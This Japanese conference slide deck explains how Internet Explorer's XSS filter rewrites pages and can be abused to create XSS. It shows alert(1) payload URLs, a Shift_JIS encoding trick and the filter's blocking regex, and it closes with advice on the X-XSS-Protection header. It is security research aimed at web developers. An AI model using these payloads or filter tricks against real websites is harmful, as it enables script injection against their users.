XSSフィルターを利用したXSS攻撃 by Masato Kinugawa

X-XSS-Nightmare: 1; mode=attack
XSSフィルターを
利用したXSS攻撃
(自重版)
Masato Kinugawa

自己紹介
Masato Kinugawa
x
s

自己紹介
Masato Kinugawa
x
s
B

バグハンターの愉しみ
自己紹介

話すこと
IEのXSSフィルターを使って
❶XSSする手法
❷XSSフィルターをバイパスする手法

話すこと
IEのXSSフィルターを使って
❶XSSする手法
❷XSSフィルターをバイパスする手法
ごめんなさい、変更します！

話すこと
XSSフィルターがどういうものか
XSSフィルターとどう付き合うべきか

XSSフィルター
Internet Explorer 8から導入(2009)
Chrome/Safariにも同様の機能
➡今回はIEのフィルターを取り上げる

IEのXSSフィルター基本
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
q param is: <img src=x onerror=alert(1)>
</body>
</html>
リクエストの値とレスポンスから、危険と判断
される条件にマッチすればページを書き換える
遮断前

こんなふうに#
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
q param is: <img src=x #nerror=alert(1)>
</body>
</html>
遮断後
リクエストの値とレスポンスから、危険と判断
される条件にマッチすればページを書き換える

XSSフィルターの不正確さ
条件にマッチすればユーザ入力の動的生成部と
無関係の位置にある文字列でも書き換えてしまう
http://example.com/?q=AAA&<meta+charset=
<!DOCTYPE html>
<html>
<head>
<m#ta charset="utf-8">
</head>
<body>
q param is: AAA
</body>
</html>

XSSフィルター導入後の世界
ページの一部が書き換えられる可能性を
すべてのサイトが突然持つことになった
#
#
#
2008 2009

ちょっと変わるくらい
#
#
#
どうってことない？
➡どこか1バイト変わることが
どういうことか考えてみよう！

http://example.com/?q=AAA
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="AAA".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>
文字列リテラル内へ
ユーザ入力を動的生成

http://example.com/?q="/</script
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s=""/</script".replace(/</g,'<');
document.write(s);
</script>
</body>
</html> XSS対策もOK

http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
document.write(s);
</script>
</body>
</html> <svg/onload=alert(1)>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<scr#pt>
document.write(s);
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'<');
document.write(s);
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'<');
document.write(s);
</script>
</body>
</html> <svg/onload=alert(1)>

http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="</title><svg/onload=alert(1)>".replace(/</g,'&l
t;');
document.write(s);
</script>
</body>
</html>

http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<title>TEST</ti#le>
</head>
<body>
<script>
s="</title><svg/onload=alert(1)>".replace(/</g,'&l
t;');
document.write(s);
</script>
</body>
</html>

http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="さ";alert(1)//".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="さ";alert(1)//".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>

UTF-8の解釈
"さ";alert(1)//"
0xE3 0x81 0x95 0x5C
UTF-8 さ
Shift_JIS 縺表

Shift_JISの解釈
"縺表";alert(1)//"
0xE3 0x81 0x95 0x5C
UTF-8 さ
Shift_JIS 縺表

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="縺表";alert(1)//".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>

つまり
1バイトの変更すらリスキー
https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-
2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf
Universal XSS via IE8s XSS Filters
実際過去には
XSSフィルターの書き換えだってそう、
慎重に行わないと逆に脆弱にもなる
Eduardo Vela Nava & David Lindsay

2015：今は大丈夫？
実際の遮断規則が
どれほどのものかみてみよう！
XSSのないありふれた構造のページが
XSSに脆弱になる複数のパターンを発見
大丈夫…ではなかった！
これはさておき
この件は適切に修正された後、公開予定

遮断規則
特に文書化されていない
ブラウザにロードされるdllのバイナリに遮断文字列が
正規表現で書かれているのが確認できる

<button value=
<form>
<textarea>
<isindex>
<input value=
<option value=
<embed src=
<embed type=
<iframe src=
<frame src=
<x:vmlframe src=
<link href=
<import implementation=
<meta http-equiv=
<meta charset=
<a href
<script src=
<script xlink:href=
<script href=
<script>
<applet>
<object type=
<object codetype=
<object classid=
<object code=
<object data=
<base href=
<style>@i
<style>:(
<style>:
<style>=(
<style>=

<button va#ue=
<fo#m>
<texta#ea>
<is#ndex>
<input va#ue=
<option va#ue=
<em#ed src=
<em#ed type=
<if#ame src=
<f#ame src=
<x:vmlf#ame src=
<li#k href=
<im#ort implementation=
<m#ta http-equiv=
<m#ta charset=
<a hr#f
<script src=
<script xlink:href=
<script href=
<script>
<ap#let>
<ob#ect type=
<ob#ect codetype=
<ob#ect classid=
<ob#ect code=
<ob#ect data=
<ba#e href=
<style>@i
<style>:(
<style>:
<style>=(
<style>= 遮断後

<a hr#f
<m#ta charset=
<li#k href=
<script>
DEMO❶
❷
❸
❹

感じてほしいこと
自サイトがどうなるかはフィルター次第
➡そんなのブラウザのバグ？
ブラウザがなんとかしてくれよ？
常に安全にページを書き換えることが
できているとは言えない

そもそもあなたのページは
どこか一部分が壊れても耐え得る作り
になっていると断言できる？

フィルターがやれること
最大限に配慮しながらページを書き換える
#

実のところ
意図的に誤検知を生じさせて、
特定の機能を動作させないよ
うにすることも、場合によっ
ては可能です。(略) XSSフィ
ルタの作者が、この種の危険
性を認識しつつもXSSフィル
タを導入したのか（あるいは
そうではないのか）、ちょっ
と興味があります。
ブラウザ側も危険性を認識した上で導入
以下は6年前の寺田さんとはせがわさんのやりとり
T.Teradaの日記より
http://d.hatena.ne.jp/teracc/2
0090622

実のところ
ブラウザ側も危険性を認識した上で導入
以下は6年前の寺田さんとはせがわさんのやりとり
http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke
中の人は "The answer is
Yes. " だそうです。
はせがわさんのはて
なブックマークの
コメントより
➡Web開発者が危険の面倒をみながら使えばいい？

面倒をみるとは
✔ XSSフィルターの遮断動作を全て把握
✔ 部分的に書き換わっても安全に動作すること
を全てのページで検証
✔ 危険な部分は逐一コードを書き直して回避
つまり次を行うこと：
できそうですか？

遮断文字列の一例
javascript:1
vbscript:1
vbs:1

遮断文字列の一例
javasc#ipt:1
v#script:1
v#s:1
シンプル？

javascript:リンクの遮断の詳細
{(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|(
41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)
|(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(
([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[
].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|
A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73)
);?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)))
)*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(
52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;
)|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(&
(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[
].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10
)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7
4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)
)))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}

javascript:リンクの遮断の詳細
{(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|(
41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)
|(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(
([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[
].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|
A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73)
);?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)))
)*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(
52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;
)|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(&
(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[
].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10
)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7
4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)
)))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}
http://masatokinugawa.l0.cm/2012/09/xss3.html

これができるなら
✔ XSSフィルターの遮断動作を全て把握
✔ 部分的に書き換わっても安全に動作すること
を全てのページで検証
✔ 危険な部分は逐一コードを書き直して回避
自分のサイトのXSS全部潰せるのでは…
➡じゃあどうするのがいいか？

X-XSS-Protectionヘッダ
値効果
0 無効
1
有効
(部分的書き換え)
1;mode=block
有効
(表示の完全な停止)
デフォルト
XSS保護機能を制御できるレスポンスヘッダ

Y
慎重な彼らはどうしている？

HTTP/2.0 200 OK
Date: Mon, 19 Oct 2015 22:32:06 GMT
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
...

HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/html
Date: Mon, 19 Oct 2015 22:40:37 GMT
x-content-type-options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
...

ちゃっかり制御している！！

より安全を考えた選択
値選択すべきサイト
0
基本的なXSSは対応している
/誤検知をなくしたい
1
推奨しない
(発見した手法の影響を受けるのもココ)
1;mode
=block
XSSがまだありそう
/念のため保護も受けたい
default
X-XSS-Protection:0 か 1;mode=block

mode=blockなら安全？
直接スクリプト実行に繋がることはないはず
フィルターの恩恵の方が大きいと僕は考える
遮断時の特徴を外から検出できれば
ページ内容を推測できる可能性はありうる
この可能性はゼロにはできないだろう
一方で

Web開発者の声
僕
開
1;mode=blockに変更したら
どうだろう？

Web開発者の声
僕
開
1;mode=blockに変更したら
どうだろう？
遮断時の説明が不親切で、
誤検知時のユーザ対応を考える
と厳しい…。

遮断時の説明が不親切
確かに…

Web開発者の声
基本的なXSS対策はできていると思うし、
X-XSS-Protection:0にしては？
僕
開

Web開発者の声
基本的なXSS対策はできていると思うし、
X-XSS-Protection:0にしては？
僕
製品動作を優先して不適切に
セキュリティ機能を切っていると
思われる可能性が。
開

XSSフィルターの罠
攻撃箇所だけ遮断して残りは表示してくれる
のが一番スマートにみえてしまう
0 1 block
この動作がリスクそのもの

さいごに
まだ安全側に倒す余地はあるはず
デフォルト動作が今のままで本当にいいのか
遮断の原理上、リスクはつきもの
Web開発者はその可能性を知ってほしい
デフォルト動作以外で制御することを強く推奨
XSSフィルターの改善には期待したい

http://l0.cm/xxn/
本当のNightmareは
以下で後日公開
エルゼロ

";alert#"Thanks!"#//
@kinugawamasato
masatokinugawa@gmail#com

XSSフィルターを利用したXSS攻撃 by Masato Kinugawa

Recommandé

Recommandé

Contenu connexe

Tendances

Tendances (20)

Plus de CODE BLUE

Plus de CODE BLUE (20)

XSSフィルターを利用したXSS攻撃 by Masato Kinugawa